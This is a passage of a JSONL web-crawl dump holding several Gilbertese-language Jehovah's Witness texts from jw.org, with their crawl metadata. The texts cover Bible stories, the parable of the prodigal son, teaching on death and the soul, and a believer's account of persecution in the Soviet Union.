kakawaki!","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-tun-2016\/bwabwainan-te-koaua-e-kakawaki-riki-nakon-taiman\/","date":"2018-03-23T05:53:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648178.42\/warc\/CC-MAIN-20180323044127-20180323064127-00501.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1475,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI\nMoantaeka: Teuana i buakon rongorongo aika rangi n ataaki n te boki ae Te Kaotioti, bon taekaia taan toka i aoia aoti aika aman. A maaku tabeman iai, ao tabeman e kakaongora irouia.\nKibu: Kao 1:3\nAnganako: E kabwarabwaraaki n Te Taua-n-Tantani aei bwa e kangaa n riki taekaia taan toka i aoia aoti aikai bwa te rongorongo ae raoiroi ibukira.\nREIREINIA AOMATA TE KOAUA\nTitiraki: N am iango ti kona n atai kanoan taai aika imwaira?\nKibu: It 46:10\nKoaua: E kaotii te Atua nakoira kanoan taai aika imwaira n ana Taeka ae te Baibara.\nE KONA NI KAKUKUREI AM UTU\nMoantaeka: Ti kaota te taamnei ae kimototo aei ibukia utu. [Kaota te taamnei ibukin te boroutia ae E Kona ni Kakukurei Am Utu.]\nAnganako: Ngkana ko kani wareka te boroutia ae kaotaki n te taamnei, I kona n anganiko katotona ke ni kaota aroni karekeana man te intanete.\nKARAOA OIN AM MARORO\nKabonganai katoto akana a tia ni kaotaki ni karaoa iai oin am maroro n te mwakuri ni minita","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2017-mwb\/aron-te-maroro-n-te-mwakuri-ni-minita\/","date":"2018-03-21T09:08:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647600.49\/warc\/CC-MAIN-20180321082653-20180321102653-00356.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":172,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.355,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E na kabwarabwaraaki n te mwakoro aei te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti. E bungiaki Iesu man te utu teuana ae mangori ae a maeka n te kaawa teuana ae uarereke. E mwakuri ma tamana ae te kabentaa. Bon Iesu are e na kamaiuia botannaomata. E rineia Iehova bwa te Uea n te Tautaeka n Uea ae bwaini karawa. Ngkana te karo ngkoe, buoka natim bwa e na ataa aron Iehova ni karaua raoi n rinea te utu ao te tabo are e na ikawairake iai Iesu. Iangoa aron Iehova ni kamanoa Iesu man tiringana iroun Erote ao aron ana kantaninga Iehova ae e aki kona n tukaki. Reiakina aron Iehova ni mwiokoa Ioane bwa e na katauraoa te kawai imwain Iesu. Katuruturua aron Iesu ni kaota tangiran te wanawana are mairoun Iehova mangke e ataei.\nN TE MWAKORO AEI\nREIREI 68\nE aera bwa e tuangaki buun Eritabeta bwa e na aki kona n taetae ni karokoa ae e bungiaki te teei?\nREIREI 69\nE angan neiei te rongorongo are e a bitaki iai maiuna ni kabane.\nREIREI 70\nA waekoa ni mwananga taani kawakintiibu ngke a ongo te katanoata.\nREIREI 71\nE tangira maten Iesu te uea ae buakaka.\nREIREI 72\nA kangaa ni mimi irouna taan reirei n te tembora?\nREIREI 73\nE ikawairake Ioane bwa te burabeti. E angareirei bwa e na roko te Mesia. Tera aroia aomata nakon ana rongorongo?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/11\/","date":"2018-03-24T10:23:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00580.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":234,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iai n Taeka N Rabakau mwakoro 31 te rongorongo ae kakawaki nakon te Uea ae Remuera mairoun tinana. E anganna te reirei ni kairiri ae kawanawanaa teuaei n rineani buuna ae konabwai.\nE kona n onimakinaki te buu te aine ae konabwai\nE kaotii ana iango aika rangi ni kakawaki ni kaineti ma babaire n te utu ao e teimatoa naba n aantaeka\nE onimakinna buuna bwa e na karaoi ana babaire ma te wanawana, ao e aki kainnanoa neiei ana kariaia buuna ni bwaai ni kabane\nE mwamwakuri te buu te aine ae konabwai\nE reireinna n aki bakatae ao ni kabebetea maiuna bwa a aonga ana utu ni kunnikainia n ae riai ma n taraaraoi, ao n tau kanaia\nE mwakuri korakora ao n tararuaiia kaaini batana ni ngaina ao ni bong\nE tangira te Atua te buu te aine ae konabwai\nE mamaaka te Atua ao e karikirakea ana iraorao ae kaan ma ngaia","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/nobembwa-2016-mwb\/kaetieti-n-te-botaki-nob7-13\/kabwarabwaraaki-n-te-babaira-te-buu-te-aine-ae-konabwai\/","date":"2018-03-24T02:58:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649627.3\/warc\/CC-MAIN-20180324015136-20180324035136-00290.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":156,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.506,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAIKONAKI AE TE NATI AE BUA\nTao n tikun Iesu i Berea i mainikun te Karaanga ae Ioretan, ao e a tibwa taekina ikanne te kaikonaki ae te tiibu ae bua ao te mwane ae te turakemwa ae bua. Te reirei mani kaikonaki akana uoua akanne, bwa ti riai ni kimwareirei ngkana e raira nanona te tia bure temanna ma n okira te Atua. A kabuakakaa ngkoa Iesu Baritaio ma taani koroboki ibukina bwa e butimwaeiia aeka n aomata akanne. Ma e reke reireiaia taani kabuakaka akanne man ana kaikonaki Iesu akana uoua? A ota n ana namakin Tamara are i karawa irouia taani bure aika rairi nanoia? E a taekina ngkai te kaikonaki ae ringa te nano Iesu, are e a manga katerea riki iai te reirei ane kakawaki anne.\nTe kaikonaki aei bon taekan te karo ae iai natina mwaane aika uoman, ao e boboto riki te kaikonaki aei i aon are te karimwi. A riai ni karekei reireiaia Baritaio ma taani koroboki ao naake a ongora n ana kaikonaki Iesu ni kaineti ma te nati are te karimwi. Ma e na aki naba tarariaoaki te baere e taekinna Iesu ni kaineti ma te karo ao natina are te karimoa, bwa e rangi ni manena naba taekan aroaroia are a kaotiotia. Ngaia are iaiangoiia mwaane aika teniman aikai ngkana e a taekina te kaikonaki Iesu.\nE a moana ana karaki Iesu ni kangai: \"Iai temanna te aomata ae uoman natina mwaane. Ao e taku are te karimwi nakon tamana, 'Tamau, ko na anganai tibwau man am bwai.' Mangaia are e tibwai ana bwai nakoia.\" (Ruka 15:11, 12) Uringnga bwa te karimwi aei e aki anai tibwana ibukina bwa e a mate tamana. E boni maiu tamana. Ma e ngae n anne, e a tangira ngkai tibwana bwa e aonga n inaomata ao ni kabongana n aron ae e tangiria. Ae tera?\nE kabwarabwara ni kangai Iesu: \"Tabebong imwina ao e a ikotii ana bwai ni kabane te nati are te karimwi ao e a mwananga nakon te aba ae raroanako, ao ikanne are e a bakataei iai ana bwai n te maiu ni kaibwabwaru.\" (Ruka 15:13) E aki tiku te nati aei ni mwengana ae mano raoi iai, ma ana karo ae mutiakinia natina ao ni katauraoi bwaai ibukia, ma e boonako nakon te aba teuana. Ikanne are e a bakataei iai tibwana ni kabane n te maiu ae kammaira ni kakukureia iai nanona. Imwina ao e a boo ma te kangaanga, n aron ae e a manga karakinna Iesu ni kangai:\n\"Ngke a a bane ana bwai, ao e a roko te rongo ae korakora n te aba anne ni kabutaa, ao e a rotaki n te kainnano. N tokina, ao e a reke angana n nimta temanna kaain te aba anne, ao e kammwakuria n ana tawaana bwa e na tararuai ana nanai ni beeki. Ao e kani kakanuaia ni kanaia beeki, ao akea ae e anganganna kanana.\"—Ruka 15:14-16.\nA kaokoroaki beeki i aan ana Tua te Atua bwa maan aika kamwara, ma te nati aei e a riki bwa te tia tararuaia beeki. E a rotakibuaka n te baki, ike e a rikirake iai ni mamaara ao ni bwarua kanaia maan, ake beeki ake e tararuai. Ribuakon rawawatan te nati aei ma korakaina ao \"e a oki ana iango.\" Tera ae e karaoia? E taku i bon irouna: \"Ai batira ana tia mwakuri tamau aika kau amwarake, ao ngai I a kaani mate ikai n te rongo! N na teirake ao N na mwananga nakon tamau ao N na kangai nakoina: 'Tamau, I bure nako karawa ao nakoim. I a aki tau n aranaki bwa natim. Karikai bwa temanna naba am tia mwakuri.' \" E a teirake ngkanne ao e a nakon tamana.—Ruka 15:17-20.\nTera aron ana karo arei? E na rairaki nakon natina ma n un ao ni bwauranna ibukin nanobabana ngke e kitana mwengana n te moantai? E na bitaki aron te karo aei ma n aki kani mwannanoa natina? Ngke arona bwa ngkoe te karo arei, tera ae ko na karaoia? Ao e na tera arom ngke arona bwa e riki anne nakon natim te mwaane ke te aine?\nE A MANGA REKE TE NATI ARE BUA\nE kabwarabwaraa Iesu ana namakin te karo arei ao baike e karaoi, ni kangai: \"Ngke e a ria [te nati], ao e a noria tamana ao e korakora nanoangaana, ao e biri n rabwatia, ao e kaboria ma ngaia.\" (Ruka 15:20) E ngae ngke e a tia te karo arei n ongo taekani maiun natina ni bakatae, ma e boni butimwaeia naba. A na ota n ana namakin tamara are i karawa ibukia taani bure aika rairi nanoia, mataniwin te Aro n Iutaia ake a taku bwa a ataa Iehova ma n taromauria? A na ataia naba ae e kaotiota te aeka ni mwamwannano anne Iesu?\nTe karo ae ataibwai e kona n ataia man rawawatan natina ao matana n nanokawaki, ae e a raira nanona. Ma aron te karo arei ni biririmoa ni butimwaea natina, e a kaira iai natina bwa e na kai kaotii riki ana bure. E karaki Iesu ni kangai: \"E taku ngkanne te nati nakon tamana, 'Tamau, I bure nako karawa ao nakoim. I a aki tau n aranaki bwa natim.'\"—Ruka 15:21.\nE tua te karo arei nakoia ana toro ni kangai: \"Kawaekoaingkami n uotaamai te kauaatao ae te kabanea n tamaroa, ao karinna i aona, ao karina te mwamwa i baina ao kaau i waena. Uotaamai naba te kao te teei ae kamarikaaki ao tiringnga, ao ti na amwarake ni bukamaru, bwa e a tia ni mate natiu aei ma e a manga maiu, e bua ao e a manga reke.\" Ao akea bwa \"e a boo atin te kukurei.\"—Ruka 15:22-24.\nE mena n te tawaana n te tai aei teuare te karimoa. E taku Iesu ibukina: \"Ngke e a oki ao e a uakaan ma te auti, ao e a ongo te katangitang ma te mwaie. Mangaia are e wetea temanna te toro ao e titirakinna bwa tera ae riki. E taku nakoina, 'E a roko tarim, ao e tiringa te kao te teei ae kamarikaaki tamam, ibukina bwa e a okiria tarim ao e marurung.' Ma e un ao e rawa n rin. Ai ngaia are e a otinako tamana ni bubutiia. E kaeka ma n taku nakon tamana, 'Noria! I a tia n toro iroum i nanon ririki aika bati, ao akea te tai teuana ae I riaon iai baike ko tua, ma ko tuai man anganai te kooti ae ataei bwa N na kimwareirei iai ma raoraou. Ma e a tibwa manga roko natim aei ae e a tia ni bakataei am bwai irouia aine aika kakabooaki, ao ko tiringa te kao te teei ae kamarikaaki ibukina.'\"—Ruka 15:25-30.\nAntai ae ai aron te nati are te karimoa, ake a kabuakakaa ana nanoanga ma ana mwamwannano Iesu nakoia aomata aika mangori ao aika taani bure? Bon taani koroboki ma Baritaio. Kabuakakaan Iesu irouia ngke e mwannanoiia taani bure, are e a ueke iai te kaikonaki aei. Ni koauana, ane e kabuakakaa aron te Atua ni kaotiota te nanoanga, e bon riai n iaiangoa te reirei aei.\nE motika te kaikonaki aei Iesu ni karakinan ana bubutii te tama nakon natina are te karimoa, ae kangai: \"Natiu, ko memena irou n taai nako, ao au bwai ni kabane bon am bwai. Ma ti riai ni bukamaru ao ni kimwareirei, bwa e a tia ni mate tarim aei ma e a manga maiu, e bua ao e a manga reke.\"—Ruka 15:31, 32.\nE aki kaotia Iesu bwa tera ae karaoia te nati are te karimoa imwina riki. Ma imwini maten Iesu ao mangautina ao \"a rangi ni mwaiti naba ibonga aika rairaki nakon te onimaki.\" (Mwakuri 6:7) E bae n iai i buakoia nakanne tabeman mai buakoia naake a ongora iroun Iesu, ngke e taekina te kaikonaki ae rangi n anainano aei ae taekan te nati ae bua. Eng, e boni kona naba ni manga oki aia iango, a rairi nanoia, ao n okira te Atua.\nNi moa man te bong anne, a kona taan rimwin Iesu ni mutiakin reirei aika kakawaki aika kaotaki n te kaikonaki ae tamaroa aei, ao n riai naba ni kaaki i nanoia. Te moan reirei, ti boni wanawana ngkana ti tiku i buakoia ana aomata te Atua aika kamanoaki raoi, i aan ana tararua Tamara ae tangirira ma ni katauraoi bwaai ibukira, ao ti bia aki tiotionako n ukera kakukurein te rabwata n \"te aba ae raroanako.\"\nTe reirei riki teuana, bwa ngkana iai i buakora ae kitana kawain te Atua, ti bia nanorinano ao n okira Tamara bwa ti aonga ni manga karekea akoara irouna.\nMa iai riki te reirei ae kona n reke man aroaron te karo n tatauraoi ni kabwarabure, ao aroaron te nati are te karimoa n un ao n aki mumutiakina te aba. E teretere bwa ana aomata te Atua a kani kabwarai buure ao ni mutiakina ane e raira nanona ma n okira 'ana auti Tamana.' Ti bia kimwareirei iroun tarira 'are e a tia ni mate ma e a manga maiu' ao are e 'bua ao e a manga reke.'","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-mainikun-ioretan\/te-kaikonaki-ae-te-nati-ae-bakatae\/","date":"2018-03-23T09:49:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648205.76\/warc\/CC-MAIN-20180323083246-20180323103246-00021.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1523,"character_repetition_ratio":0.053,"word_repetition_ratio":0.011,"special_characters_ratio":0.237,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N rongorongon te karikibwai ni bokin te Baibara ae Karikani Bwaai ao ti reiakinna iai bwa te moan aomata are Atam, e tuangaki iroun te Atua ni kangai: \"Ko kona n amwarake ni kanuaiko mani kain nako te onnaroka. Ma ko na tai amwarake man te kai n ataa te raoiroi ao te buakaka, bwa n te bong are ko amwarake mai iai ao ko na boni mate.\" (Karikani Bwaai 2:16, 17) E mataata n te taeka anne ao e kaotaki raoi iai bwa ngke arona bwa e ongeaba Atam n te baere e tua te Atua ao e na aki mate, ma e na teimatoa ni maeka n te onnaroka are i Eten.\nMa e kananokawaki bwa e aki rinea Atam te ongeaba ao te maiu n aki toki, ma e rineia bwa e na kaaki taekan te baere e tua te Atua ao ni kana te uaanikai are katabuaki, are e anganna Ewa. (Karikani Bwaai 3:1-6) Ti teimatoa n rotaki ni boong aikai ni mwin te aki ongeaba anne. E kabwarabwaraa te abotoro Bauro n aron aei: \"Rokon te bure irouia kaain te aonnaba mairoun te mwaane ae tii temanna ao rokon te mate n te bure, ao e a ituia aomata ni kabane te mate ibukina bwa a bane ni bure.\" (I-Rom 5:12) \"Te mwaane ae tii temanna\" aei bon Atam. Ma tera te bure, ao e aera ngkai e karekea te mate?\nTe baere e karaoia Atam bon te aki ongeaba n oin nanona ke uruakan ana tua te Atua, ao anne bon te bure. (1 Ioane 3:4) Ao te tuuaa iai bon te mate, n aron are e tuangaki iroun te Atua. Ngke arona bwa e teimatoa n ongeaba Atam ma kanoana ake a na riki, nakon ana tua te Atua, a na bon aki bure ao ni mate. E aki karikiia aomata te Atua bwa a na mate, ma a na maiu n aki toki.\nE aki kona ni kakeweaki ae \"e a ituia aomata ni kabane\" te mate, n aron are e taku te Baibara. Ma te koaua bwa iai te bwai teuana iroura ae teimatoa ni maiu imwini matera? A bati aika a kakoauaa ae iai te bwai teuana iroura ae aranaki bwa te taamnei ae aki mamate. Ma ngkana e koaua anne, ao e a kewe ngkanne te Atua nakon Atam. N te aro raa? Bwa ngkana ngaia bwa iai te bwai teuana iroura ae teimatoa ni maiu n te tabo teuana imwini matera, nanona ngkanne bwa te mate bon tiaki te tuuaa ibukin te bure n aron are e taekinna te Atua. E kangai te Baibara: \"E aki kona ni kewe iai te Atua.\" (Ebera 6:18) Ni koauana, bon Tatan are kewe ngke e tuanga Ewa ni kangai: \"Kam na bon aki mate.\"—Karikani Bwaai 3:4.\nE ueke iai te titiraki ae Ngkana e boto i aon te kewe te reirei ae te taamnei ae aki mamate, tera raoi ngkanne ae e riki n te mate?\nE KAETII BWAAI NAKO TE BAIBARA\nE taekinaki ae kangai n rongorongon te karikibwai are ni Karikani Bwaai: \"E karaoa te mwaane man te tano Iehova ae te Atua, ao e uka te ikeike ni maiu nakoni bwangabwangani bwairina, ao e riki te mwaane anne bwa te aomata ae maiu.\" E rairaki te taeka ae \"te aomata ae maiu\" man te taeka n Ebera ae ne'phesh, * ae nanonaki raoi iai \"te karikibwai ae ikeike.\"—Karikani Bwaai 2:7, kabwarabwara mai nano.\nMangaia are e katerea te Baibara bwa a aki karikaki aomata n tatabemania ma taamneia ae aki mamate. Ma te aomata temanna ma temanna bon \"te aomata ae maiu.\" Anne bukina ae ngkana tao ko ukeria, ao ko na bon aki kunea te kibu teuana n te Baibara ae kabongana te taeka ae \"te taamnei ae aki mamate.\"\nIbukina bwa e aki taekinna te Baibara bwa iai irouia aomata te bwai ae a aranna tabeman bwa te taamnei ae aki mamate, e aera ngkanne ngkai a bati Aaro aika kaitaraa ana reirei te Baibara? Kaekaan anne, e a kaokira nako Aikubita rimoa.\nE A RIKIRAKE TE REIREI NI BEEKAN\nTe tia korea rongorongon rimoa ae Herodotus ae te I-Kuriiti are e maiu n te kanimaua n tienture B.C.E., e taekinna bwa I-Aikubita bon \"te koraki ake a moani kamatoaa te reirei ae te taamnei ae aki mamate.\" Iai naba kateia kaaini Baburon rimoa ae irekereke ma te taamnei ae aki mamate. Ngke e kataenikaia te Middle East Alexander te Kakannato n 332 B.C.E., ao taan rabakau mai Kuriiti a a kataabangaka naba te reirei anne, ike e a waekoa naba iai ni buta n te Embwaea ni Kuriiti.\nKo na bon aki kona ni kunea te kibu teuana n te Baibara ae kabongana te taeka ae \"te taamnei ae aki mamate\"\nN te moan tienture C.E., ao iai koraki n Aro n I-Iutaia aika uakoraki aika kakannato aika taian Essenes ao Baritaio, ake a angareirei bwa iai te taamnei ae maiu imwini maten te rabwata. E kangai The Jewish Encyclopedia: \"E reke aia koaua I-Iutaia i aon te taamnei ae aki mamate imwini butimwaean aia iango kaaini Kuriiti, ao riki bon ana karioiango Plato.\" N aron anne, e taku te I-Iutaia ae te tia korea rongorongon rimoa n te moan tienture ae Josephus, bwa te reirei aei tiaki kanoan te Koroboki ae Tabu, ma bon \"aia koaua kaaini Kuriiti,\" ake e iangoi teuaei bwa karaki ni kewe aika ikoikotaki, mairouia aia tia karioiango.\nKioina ngke e teimatoa ni butinako te katei ni Kuriiti, a a kakoauaa naba te reirei ni beekan aei naake a atongia bwa Kristian. Ma e taku te tia korea rongorongon rimoa ae Jona Lendering bwa \"ana karioiango Plato are e mena ngkoa taamneira n te tabo ae tamaroa riki, ao ngkai e a roko n te aonnaba ae buakaka, e a karekea rinin ana karioiango Plato aei i nanon te Aro ni Kristian.\" Mangaia are e a riki te reirei ni beekan ae te taamnei ae aki mamate bwa aia koaua Aaro ake aongkoa Kristian, ao e a rangi ni kakawaki irouia.\n\"E NA KAINAOMATAINGKAMI TE KOAUA\"\nN te moan tienture ao e a taekina te kauring te abotoro Bauro ae kangai: \"E taekinaki rinanon te taamnei ae raoiroi, bwa rimwi riki a na roko taai ake a na boni bwaka iai tabeman man te onimaki, ibukin irakin nanon rongorongo aika bureburea te aba mairouia taamnei aika buakaka ma aia angareirei taimonio.\" (1 Timoteo 4:1) Ai koauara taeka akanne! Te reirei ae te taamnei ae aki mamate bon teuana naba mai buakon aia \"angareirei taimonio.\" E aki boutokaaki man te Baibara, ma e boto i aon aia reirei Aaro ni beekan rimoa ao taiani karioiango.\nTi kukurei bwa e kangai Iesu: \"Ane kam na ataa te koaua, ao e na kainaomataingkami te koaua.\" (Ioane 8:32) Karekean te atatai ae eti i aon ana koaua te Baibara, ti a kainaomataaki iai man reirei ao waaki aika aki karinea te Atua, aika kaungaaki irouia Aaro aika bati n te aonnaba. E kainaomataira naba te koaua ae n Ana Taeka te Atua, man tautoronakira ni katei ao koaua aika boto i aoni maakakia taimonio aika irekereke ma te mate.—Nora te bwaoki ae \"A Mena ia Maate?\"\nBon tiaki ana iango ara tia Karikiriki bwa a na maiu aomata i nanon tii 70 ke 80 te ririki n te aonnaba, ao imwina a na manga maiu n aki toki n te aba n taamnei teuana. Ana moani kantaninga ibukia ana aomata aika e karikiia, bwa a na maiu n aki toki n te aonnaba aei, bwa natina aika ongeaba. Boni kaotan ana tangira te Atua ibukia aomata te kantaninga ae rianako aei, ao e na boni koro bukina. (Maraki 3:6) E anga te karaunano te tia areru ngke e kangai: \"A na abana te aonnaba akana raoiroi, ao a na maeka i aona n aki toki.\"—Taian Areru 37:29.\n^ bar. 9 Iai Baibara tabeua n aron te King James Version ao te Baibara ni Katorika ae te Douay Version, ake a raira te taeka ae ne'phesh bwa \"te taamnei ae maiu,\" ma a bati rairai n taai aikai n aron The New English Bible e rairia bwa \"te karikibwai ae maiu,\" ao te New International Version ao The Jerusalem Bible a rairia bwa \"te aomata,\" ao Today's English Version e rairia bwa \"e a maiu.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na4-2017-turai\/te-bae-e-taekinaki-n-te-baibara-ibukin-te-maiu-ao-te-mate\/","date":"2018-03-17T18:46:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645280.4\/warc\/CC-MAIN-20180317174935-20180317194935-00412.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1370,"character_repetition_ratio":0.068,"word_repetition_ratio":0.013,"special_characters_ratio":0.234,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TABEUA te ririki i mwaini maten ai tibuu te mwaane ae Nikolai Dubovinsky, e botii rongorongona aika kakukurei ao ni karawawata n ana tai ni kakaonimaki ni beku ibukin Iehova, riki n te tai are e katokaki iai te mwakuri n uarongorongo man te tautaeka n Rutia rimoa. E teimatoa ni kakaonimaki ao e a tia n rinanon te bwai are kani kakaraoia ni maiuna ae rianako arona, n aki ongei kataaki ma kangaanga. E tataekinna tibuu ae Nikolai bwa e tangiriia roro n rikirake bwa a na ongora n ana karaki, ngaia are I kan tibwai rongorongona tabeua aika kakawaki mai iai. E bungiaki n 1926 n te utu ae aki kaubwai ni kaawan Podvirivka, ae mena i Chernivtsi Oblast, i Ukraine.\nE TAEKINA ARONA NIKOLAI NI KUNEA TE KOAUA\nE moana ana karaki Nikolai ni kangai: \"N te bong teuana n 1941, e uotii nakoni mwengara Ivan ae tariu ae ikawai riki, booki aika The Harp of God ao The Divine Plan of the Ages, tabeua Taua-n-Tantani, ao booki riki aika uarereke. I wareki ni kabane ao I mimi n reiakinan ae te Riaboro bon nibwani kangaanga ni kabane n te aonnaba, ao tiaki te Atua. I wareki booki ma taian Euangkerio ao I a ataia ae I a kunea te koaua. I ingainga n tibwaa nako au kantaninga ibukin te Tautaeka n Uea nakoia aomata. Ngke I tabe n reiakini booki aikai, e a rikirake iai otau n te koaua ma tangiran te kan riki bwa ana toro Iehova.\n\"I ataia ae N na rotakibuaka ibukin au koaua. Bon tain te buaka, ma e kangaanga iangoan ae N na kamatea te aomata. I moana kamatenanoani kibun te Baibara n aroni Mataio 10:28 ao 26:52, bwa I aonga n tauraoi imwaini kataakiu. I kakorakoraai ni motinnanoia bwa N na teimatoa ni kakaonimaki nakon Iehova, e ngae ngkana N na mate!\n\"I tuangaki bwa N na kaaina te buaka ngke e koro 18 au ririki n 1944. Ai bon tibwa te moantai aio are I a mena i buakoia raou n te onimaki aika rooro n rikirake mwaane, ake a tau naba aia ririki ibukin te buaka ao ni botakaki n te tabo are a na koreaki iai aara ibukin iran te buaka. Ti ninikoria n tuangia mataniwi bwa ti aki riai n ira te buaka. A rangi n un taani kairiri iai ao a kakamaakuira n aki anganira te amwarake, a kairoroira bwa ti na keni noono, ke a na katiira. Ti kaekaia ma te aki maaku ni kangai: 'E mena maiura i nanoni baimi. N aki ongeia bwa tera ae kam karaoia nakoira, ti na bon aki urua ana tua te Atua aei: \"Ko na tai kamateia aomata.\"'—TeOti. 20:13, BG.\n\"N tokina, I a kanakoaki ma uoman taari mwaane nako Belarus ni mwakuri n aono ake a rotaki ni mwin te buaka ao ni karaoi auti aika uruaki. I teimatoa n ururingi mwin ana urubwai ae korakora te buaka n taabo ake a iaontia ma Minsk. E on nanon te kawai n aroka aika bue. A inroa ni mate i nanoni mwanono ao i buakonikai rabwataia aomata n aki taunaki ma aoti aika tibu rabwataia. I nori mwini kaa aika kokokaki ma bwaai ni buaka ao te wanikiba ae urubekebeke. A riki baika I nori aikai, mani mwin uruakan ana tua te Atua.\n\"E toki te buaka n 1945, ma ti teimatoa ni karabuutinaki n te maan ae tebwina te ririki ibukin rawara ni buaka. Man te moan ni karokoa te katenua n ririki ao ti aki bobotaki n taromauri ke akea kanara n taamnei. E reke angara n reitaki n te reta ma taari aine tabeman, ma a katikaki naba ao ni kabureaki i nanon 25 te ririki n te tabo are a tautoronaki iai buure.\n\"Imwina, ti waekoa ni karekea inaomatara n 1950 ao n okira mwengara. A riki bwa Ana Tia Kakoaua Iehova tinau ao mwaaneu ae uarereke riki ae Maria, ngke I mena n te karabuuti! A tuai n riki bwa taani Kakoaua tariu aika a ikawai riki, ma a tabe n reiakina te Baibara. E tangiria te botaki ni bureitiman i Rutia ni manga karabuutinai, ibukin teimatoau n uarongorongo. Imwina, a butiiai taari mwaane ake a mataniwia te mwakuri bwa N na ibuobuoki ni karaoani booki i aantano. Bon 24 au ririki n te tai anne.\"\nKATAURAOANI BOOKI\n\"A aki toki n tataekina ae kangai taani Kakoaua: 'Ngkana e katokaki te mwakuri ibukin te Tautaeka n Uea i aon te aba, e na waakinako i aantano.' (TaeRab. 28:28) N te tai aei, a karaoaki angiin ara boki n taabo aika raba i aantano. E mena au moan 'ruu ni mwakuri' i aantano, i aan ana auti tariu ae ikawai riki ae Dmitry. N taai tabetai, I tiku iai uoua te wiki. N na bae ni wene n taningaa rinin te ea ae boou n te ruu ngkana e mate au taura te karatiin, ibukina bwa e a aki tau te oxygen ae te ea ae ti ikeikenna.\n\"N te bong teuana, e titirakinai temanna te tari te mwaane ni kangai: 'Ko a tia ni bwabetitoaki Nikolai?' E ngae ngke I a tia ni beku ibukin Iehova n te maan ae 11 te ririki, ma I tuai ni bwabetito. Ngaia are e a maroroakina aei ma ngai, ao n te tairiki anne ngke 26 iai au ririki, I a bwabetitoaki n te nama. Tenua te ririki imwina, I a manga anganaki te mwioko riki teuana, ae kaainakin te Komete Ibukin te Aba. N te tai anne, a rineaki taari ake a teimatoa ni kainaomataaki bwa a na onei mwia naake a karabuutinaki, ao e teimatoa waakinan te mwakuri ibukin te Tautaeka n Uea.\"\nKANGAANGA N TE MWAKURI I AANTANO\n\"E rangi ni matoa riki te mwakuri ibukini karaoani booki i aantano nakon te mwakuri n te karabuuti! I aki kona ni kaei bobotakin te ekaretia ao I riai n tararuaa maiu n taamnei i nanon itiua te ririki, bwa N na aki noraki irouia kaain te KGB ae ana bureitiman ni karaba te tautaeka n Rutia. I noriia au utu tii ngkana I kawariia, ma e burenibwai anne. Ma a ota n au kangaanga ao I kaungaaki iai. E kerikaaki korakorau man teimatoau n raraoma ao kainnanoan te taratara raoi. Ti riai n tatauraoi nakon te bae na riki. N te katoto, a roko n te auti are I memena iai uoman bureitiman n te moan tairiki teuana. I kibanako mani wintona are teuana ao ni biri nakon te buakonikai. N rokou n te tabo ae mataata ao I ongo karongoaan te bwai ae I aki koaua iai. I a ataia ae ngaia boni karongoaani kanoani katii, ngke I ongo te kakatii! E kibara te aoti temanna mai buakoia naake a kaeai ao ni kakatiiai ni karokoa ae e bane ana kanoa. E 